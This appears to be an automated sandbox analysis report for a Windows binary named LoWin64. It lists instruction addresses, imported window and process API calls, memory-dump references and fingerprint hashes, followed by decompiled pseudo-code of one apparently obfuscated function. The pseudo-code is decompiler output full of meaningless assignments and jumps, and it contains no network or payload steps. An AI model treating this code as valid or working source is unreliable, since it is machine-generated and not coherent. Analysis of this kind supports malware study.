0x7ff6b1ca7f42
0x7ff6b1ca7f44
0x7ff6b1ca7f47
0x7ff6b1ca7f49
0x7ff6b1ca7f4e
0x7ff6b1ca7f4e
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f59
0x7ff6b1ca7f5c
0x7ff6b1ca7f5e
0x7ff6b1ca7f60
0x7ff6b1ca7f66
0x7ff6b1ca7f6b
0x7ff6b1ca7f6b
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f76
0x7ff6b1ca7f7c
0x7ff6b1ca7f7f
0x7ff6b1ca7f89
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f94
0x7ff6b1ca7f97
0x7ff6b1ca7f99
0x7ff6b1ca7f9e
0x7ff6b1ca7f9e
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fa9
0x7ff6b1ca7fac
0x7ff6b1ca7fb7
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fdc
0x7ff6b1ca7fe1
0x7ff6b1ca7fe1
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fec
0x7ff6b1ca7fef
0x7ff6b1ca7ff5
0x7ff6b1ca7ffa
0x7ff6b1ca7ffa
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8005
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8010
0x7ff6b1ca8015
0x7ff6b1ca8015
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8020
0x7ff6b1ca8023
0x7ff6b1ca8026
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca8036
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806f
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca807a
0x7ff6b1ca807d
0x7ff6b1ca8080
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8095
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a4
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80af
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c6
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80d1
0x7ff6b1ca80d7
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80ec
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80f7
0x7ff6b1ca80fa
0x7ff6b1ca8101
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca810c
0x7ff6b1ca810f
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca811d
0x7ff6b1ca8122
0x7ff6b1ca8122
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca812d
0x7ff6b1ca8130
0x7ff6b1ca8132
0x7ff6b1ca8137
0x7ff6b1ca8137
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8142
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815a
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8175
0x7ff6b1ca817c
0x7ff6b1ca8184
0x7ff6b1ca8189
0x7ff6b1ca818b
0x7ff6b1ca818d
0x7ff6b1ca818d
0x7ff6b1ca8190
0x7ff6b1ca8195
0x7ff6b1ca8199
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81b6
0x7ff6b1ca81bf
0x7ff6b1ca81c0
0x7ff6b1ca81c2
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d8
0x7ff6b1ca81db
0x7ff6b1ca81dd
0x7ff6b1ca81df
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81f1
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca8203
0x7ff6b1ca8206
0x7ff6b1ca8208
0x7ff6b1ca820a
0x7ff6b1ca820c
0x7ff6b1ca820e
0x7ff6b1ca8211
0x7ff6b1ca8213
0x7ff6b1ca8216
0x7ff6b1ca821d
0x7ff6b1ca8220
0x7ff6b1ca8222
0x7ff6b1ca8224
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822c
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca8237
0x7ff6b1ca823a
0x7ff6b1ca8240
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8269
0x7ff6b1ca826c
0x7ff6b1ca826e
0x7ff6b1ca8270
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca8284
0x7ff6b1ca8287
0x7ff6b1ca8289
0x7ff6b1ca828b
0x7ff6b1ca828d
0x7ff6b1ca828f
0x7ff6b1ca8292
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82a5
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c2
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82eb
0x7ff6b1ca82f4
0x7ff6b1ca82f9
0x7ff6b1ca82f9
0x7ff6b1ca82fb
0x7ff6b1ca82fd
0x7ff6b1ca8300
0x7ff6b1ca8302
0x7ff6b1ca8304
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca8318
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca8323
0x7ff6b1ca8328
0x7ff6b1ca8328
0x7ff6b1ca832b
0x7ff6b1ca832d
0x7ff6b1ca832f
0x7ff6b1ca8331
0x7ff6b1ca8333
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca8341
0x7ff6b1ca834a
0x7ff6b1ca834e
0x7ff6b1ca8353
0x7ff6b1ca8353
0x7ff6b1ca8356
0x7ff6b1ca8358
0x7ff6b1ca835a
0x7ff6b1ca835c
0x7ff6b1ca835e
0x7ff6b1ca8361
0x7ff6b1ca8363
0x7ff6b1ca8366
0x7ff6b1ca836d
0x7ff6b1ca8370
0x7ff6b1ca8372
0x7ff6b1ca8374
0x7ff6b1ca8376
0x7ff6b1ca8378
0x7ff6b1ca837b
0x7ff6b1ca837e
0x7ff6b1ca8381
0x7ff6b1ca838c
0x7ff6b1ca838f
0x7ff6b1ca8391
0x7ff6b1ca8393
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca83a1
0x7ff6b1ca83a4
0x7ff6b1ca83a6
0x7ff6b1ca83a8
0x7ff6b1ca83aa
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83bc
0x7ff6b1ca83bf
0x7ff6b1ca83c1
0x7ff6b1ca83c3
0x7ff6b1ca83c5
0x7ff6b1ca83c7
0x7ff6b1ca83ca
0x7ff6b1ca83cd
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83e6
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8410
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca841e
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842b
0x7ff6b1ca842e
0x7ff6b1ca8435
0x7ff6b1ca8438
0x7ff6b1ca843c
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca845b
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8466
0x7ff6b1ca8469
0x7ff6b1ca847a
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca8485
0x7ff6b1ca8488
0x7ff6b1ca848b
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849d
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84b0
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84bf
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84ca
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84dd
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84e8
0x7ff6b1ca84eb
0x7ff6b1ca84ee
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8508
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8513
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca851d
0x7ff6b1ca8520
0x7ff6b1ca8526
0x7ff6b1ca8528
0x7ff6b1ca852b
0x7ff6b1ca852d
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca853f
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8545
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8550
0x7ff6b1ca8553
0x7ff6b1ca8555
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca855f
0x7ff6b1ca8562
0x7ff6b1ca8568
0x7ff6b1ca856a
0x7ff6b1ca856f
0x7ff6b1ca8572
0x7ff6b1ca8574
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca857f
0x7ff6b1ca8585
0x7ff6b1ca8589
0x7ff6b1ca858b
0x7ff6b1ca858c
0x7ff6b1ca858d
0x7ff6b1ca858e
0x7ff6b1ca858f

APIs

GetUserDefaultLangID.KERNEL32 ref: 00007FF6B1CA77E5
IsIconic.USER32 ref: 00007FF6B1CA77FB
GetCurrentProcessId.KERNEL32 ref: 00007FF6B1CA7801
GetDesktopWindow.USER32 ref: 00007FF6B1CA7807
GetParent.USER32 ref: 00007FF6B1CA780F

Strings

7, xrefs: 00007FF6B1CA79C8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: CurrentDefaultDesktopIconicLangParentProcessUserWindow
String ID: 7
API String ID: 3513736092-1790921346
Opcode ID: 1f874dc4d65d912ea8c2ddda410e1c75d2c4a61d3b8e326db23c2e55005ab2c2
Instruction ID: 65c54d42daabe6cc6c21560dedfcd3c49f999aa848e7a0b0afee95c80acbd223
Opcode Fuzzy Hash: 1f874dc4d65d912ea8c2ddda410e1c75d2c4a61d3b8e326db23c2e55005ab2c2
Instruction Fuzzy Hash: D3127A67E3CA4766F7125F2CAD4A2B922A07F2070DF780739C719E119ADF3DB5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA76FB Relevance: 32.0, APIs: 17, Strings: 1, Instructions: 489
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00007FF67FF6B1CA76FB(void* __eax, void* __ebx, void* __esi, void* __ebp, void* __r12, void* _a32, signed int _a144, signed long long _a152, void* _a160, void* _a168) {
				void* _t120;
				void* _t137;
				void* _t155;
				void* _t156;
				void* _t157;
				signed long long _t165;
				signed long long _t166;
				signed long long _t167;
				signed long long _t168;
				signed long long _t169;
				signed long long _t170;
				signed long long _t171;
				signed long long _t176;
				void* _t183;
				void* _t184;

				 *_t165 =  *_t165 + (__eax - r13d | r14d) + r13d;
				 *_t176 =  *_t176 + dil;
				 *(_t184 - 0x18) =  *(_t184 - 0x18) << 0xdb;
				_t166 = _t165 ^ 0xc3230009;
				if (_t166 >= 0) goto 0xb1ca7726;
				if (_t166 != 0x3a) goto 0xb1ca7779;
				E00007FF67FF6B1D3ACF4(_t166);
				_t167 = _t166 & _t176;
				if (_t167 >= 0) goto 0xb1ca773d;
				_t155 = _t167 - 0x2b;
				if (_t155 >= 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t167);
				_t168 = _t167 & _t176;
				if (_t155 >= 0) goto 0xb1ca7758;
				_t156 = _t168 - _t183;
				if (_t156 < 0) goto 0xb1ca77cd;
				E00007FF67FF6B1D3ACF4(_t168);
				_t169 = _t168 & _t176;
				if (_t156 >= 0) goto 0xb1ca776e;
				_t157 = _t169 - 0x2b;
				goto 0xb1ca77c7;
				E00007FF67FF6B1D3ACF4(_t169);
				_t170 = _t169 & _t176;
				if (_t157 >= 0) goto 0xb1ca778b;
				E00007FF67FF6B1D3ACF4(_t170);
				_t171 = _t170 & _t176;
				if (_t157 >= 0) goto 0xb1ca779d;
				 *0xb1decf60 = 0xe;
				_t120 = E00007FF67FF6B1D3ACF4(_t171);
				if (_t171 - 0x36 >= 0) goto 0xb1ca77be;
				 *0xb1decf60 = 0xe;
				asm("adc al, 0x0");
				if (0x25 - 0x28 < 0) goto 0xb1ca77d2;
				asm("str word [ecx+0x14576f1d]");
				 *0xA8248C8900000011 =  *((intOrPtr*)(0xa8248c8900000011)) + (_t120 - r13d | r14d) + r13d + r13d;
				IsIconic(??);
				GetCurrentProcessId();
				GetDesktopWindow();
				GetParent(??);
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7869;
				E00007FF67FF6B1D3ACF4(0x25);
				if (0x25 - 0x59 >= 0) goto 0xb1ca7843;
				if (0x25 == 6) goto 0xb1ca7869;
				_t137 = E00007FF67FF6B1D3ACF4(0x108010100000025);
				if (0x25 - 6 >= 0) goto 0xb1ca785a;
				 *0xb1decf60 = 0;
				 *0x8000007f =  *0x8000007f + spl;
				return (_t137 - r13d | r14d) + r13d;
				if (__eflags >= 0) goto 0xb1ca7880;
				__eax = __eax - r13d;
				__eax = __eax + r13d;
				r14d = 0x4f;
				goto 0xb1ca78e0;
				__eflags = 0x50 - 0x52;
				if (0x50 - 0x52 >= 0) goto 0xb1ca78e5;
				__rbx = 0x3d;
				asm("fidiv word [ebx+0x29]");
				__eax = GetCurrentProcessId();
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78bd;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 9;
				if (0x25 != 9) goto 0xb1ca7894;
				__edi = __edi + r13d;
				 *0xb1decf60 = __rdi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca78e0;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0xd;
				if (0x25 - 0xd < 0) goto 0xb1ca7888;
				__rdx = 0xb1ca8590;
				 *0xb1decf68 = __r12;
				__rcx = 0x2;
				 *0x3B4114EB00000060 =  *((intOrPtr*)(0x3b4114eb00000060)) + dil;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				r12d = 0x8000007f;
				goto 0xb1ca7922;
				__eflags = 0x3d - 0x26;
				if (0x3d - 0x26 >= 0) goto 0xb1ca7935;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				if (__eflags >= 0) goto 0xb1ca7930;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x65;
				if (0x25 == 0x65) goto 0xb1ca790f;
				__rbx = 0x3f;
				 *0x93A63E800000025 =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x9]");
				if (0x25 - 0x65 >= 0) goto 0xb1ca794d;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = __eax;
				__rdi = 0x3;
				if (__eax >= 0) goto 0xb1ca7978;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x3f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__eax = __eax & r12d;
				__eflags = __eax;
				if (__eax >= 0) goto 0xb1ca7974;
				__eax = __eax - r13d;
				__rax = __rax | 0xffffff80;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x3;
				if (0x25 != 0x3) goto 0xb1ca7954;
				__rbx = 0x52;
				 *0xDE3B20EAFFFFFF83 =  *((intOrPtr*)(0xde3b20eaffffff83)) + dil;
				__eax = __eax & r12d;
				if (0x25 - 0x3 >= 0) goto 0xb1ca7994;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x44;
				r15d = r15d & 0xffffff00 | 0x00000025 == 0x00000044;
				 *0xb1decf60 = 0x2;
				 *0xb1decf60 = 0x52;
				__ebx = __ebx + r13d;
				__eflags = 0x52 - 0x5b;
				if (0x52 - 0x5b < 0) goto 0xb1ca797d;
				__rbx = 0x2d;
				 *((intOrPtr*)(0x93a63e800000025)) =  *((intOrPtr*)(0x93a63e800000025)) + __al;
				asm("les edi, [ebp+0x8]");
				if (0x52 - 0x5b >= 0) goto 0xb1ca79c8;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				r12d = 0x37;
				goto 0xb1ca79f2;
				__eflags = __ebx - r12d;
				if (__ebx - r12d >= 0) goto 0xb1ca79f7;
				__ebx = __ebx + r13d;
				 *0xb1decf60 = 0x2d;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				__eflags = 0x25;
				if (0x25 >= 0) goto 0xb1ca79f2;
				__eax = __eax - r13d;
				__rax = __rax | 0x00000003;
				__eax = __eax + r13d;
				__eflags = 0x25 - 0x1d;
				if (0x25 == 0x1d) goto 0xb1ca79d0;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				 *0xb1decf60 = r13d;
				__ebx = r13d;
				r13d = 0x4b;
				__rsi = __rsi + 0x2d;
				__eflags = __esi - r13d;
				if (__esi - r13d < 0) goto 0xb1ca7a0c;
				 *0xb1decf60 = __rsi;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rsi = 0x8000007f;
				_push(0x8000007f);
				if (__eflags >= 0) goto 0xb1ca7a46;
				 *0xb1decf60 = __rbp;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a41;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x76;
				if (0x25 - 0x76 >= 0) goto 0xb1ca7a25;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rbp = 0x2d;
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7a57;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x23;
				if (0x25 - 0x23 < 0) goto 0xb1ca7a7c;
				__rbx = 0x1a;
				__rsp = 0x2d;
				_pop(__rbp);
				asm("str word [ecx+0x1454f11d]");
				 *0x1a =  *0x1a + __al;
				 *0xb1decf60 = 0x2d;
				__eax = AnyPopup();
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				__eax = GetModuleHandleW(??);
				__rcx = 0;
				__eax = IsZoomed(??);
				__rcx = 0;
				 *0xb1decf60 = 0x24;
				__eax = GetModuleHandleW(??);
				__rbx = 0x20;
				asm("cmpsd");
				_push(0x2d);
				asm("adc al, 0x0");
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7ac8;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x33;
				if (0x25 - 0x33 > 0) goto 0xb1ca7ad2;
				__eflags = 0x20 - 0x26;
				if (0x20 - 0x26 < 0) goto 0xb1ca7ab1;
				__rbx = 0xc;
				 *0xc =  *0xc + spl;
				asm("invalid");
				asm("push es");
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x69;
				if (0x25 - 0x69 >= 0) goto 0xb1ca7b2b;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7afa;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__eflags = 0x25 - 0x44;
				if (0x25 == 0x44) goto 0xb1ca7b1f;
				__eax = E00007FF67FF6B1D3ACF4(__rax);
				__rax = __rax & 0x8000007f;
				if (__eflags >= 0) goto 0xb1ca7b0e;
				__rax = __rax - 0x2d;
				__rax = __rax | 0x00000003;
				__rax = __rax + 0x2d;
				__ecx = r15d;
				__eflags = __rax - 0x44;
				__ecx = r15d & 0xffffff00 | __rax != 0x00000044;
				 *0xb1decf60 = 0;
				goto 0xb1ca7b25;
				 *0xb1decf60 = 0x2d;
				 *0xb1decf60 = 0x2d;
				__rbx = 0x126552d000000039;
				 *0xb1decf60 = 0xc;
				__eflags = 0xc - 0x11;
				if (0xc - 0x11 < 0) goto 0xb1ca7ad7;
				 *0xb1decf60 = 0x48;
				__rax = 0x14;
				asm("adc al, 0x0");
				__rax = 0x5d463f7100000041;
				__eflags = 0x14 - 0x1d;
				if (0x14 - 0x1d < 0) goto 0xb1ca7b47;
				AnyPopup() = E00007FF67FF6B1D3ACF4(0x5d463f7100000041);
				__rax = 0x5d02126100000041;
				if (__eflags >= 0) goto 0xb1ca7b69;
				0x53ced87900000014 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm0, [0x116b57]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("comisd xmm0, xmm1");
				if (__eflags < 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7b8e;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x3b;
				if (0x14 - 0x3b > 0) goto 0xb1ca7bb3;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7ba2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x3b;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x0000003b <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca7bcc;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7bc2;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14;
				if (0x14 > 0) goto 0xb1ca7bcc;
				 *0xb1decf60 = 0x2d;
				E00007FF67FF6B1DA4020();
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7be1;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movsd xmm6, [0x116f17]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (__eflags <= 0) goto 0xb1ca7d0d;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c0a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x20;
				if (0x14 - 0x20 > 0) goto 0xb1ca7cc2;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c22;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x29;
				if (0x14 - 0x29 >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c36;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				if (0x14 - 0x1c >= 0) goto 0xb1ca7c55;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c4a;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x1c;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000001c < 0x00000000;
				goto 0xb1ca7ca8;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c64;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				if (0x14 - 0x7b > 0) goto 0xb1ca7c8a;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				__eflags = 0x14;
				if (0x14 >= 0) goto 0xb1ca7c78;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (0x14 <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime() = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7c9f;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__eflags = 0x14 - 0x7b;
				r15d = r15d & 0xffffff00 | 0x00000014 - 0x0000007b > 0x00000000;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				__eflags = r14d - 0x5c;
				if (r14d - 0x5c < 0) goto 0xb1ca7c13;
				__eax = E00007FF67FF6B1D3ACF4(0xe93332e300000044);
				r14d = __esi;
				__rax = 0xe90312e300000044;
				if (__eflags >= 0) goto 0xb1ca7cd4;
				0xdfcfd8fb00000017 = 0xdffff8fb00000017;
				__rax = 0xe93332e300000044;
				__ecx = r15d;
				__eflags = 0x14 - 0x20;
				__ecx = r15d & 0xffffff00 | 0x00000014 - 0x00000020 > 0x00000000;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(0xe93332e300000044) = __eax & r14d;
				if (__eflags >= 0) goto 0xb1ca7cf3;
				__rax = 0xe93332e300000044;
				asm("movd xmm0, eax");
				__eax = r15d;
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				__eax = r15d & 0xffffff00 | __eflags > 0x00000000;
				 *0xb1decf60 = 0x14;
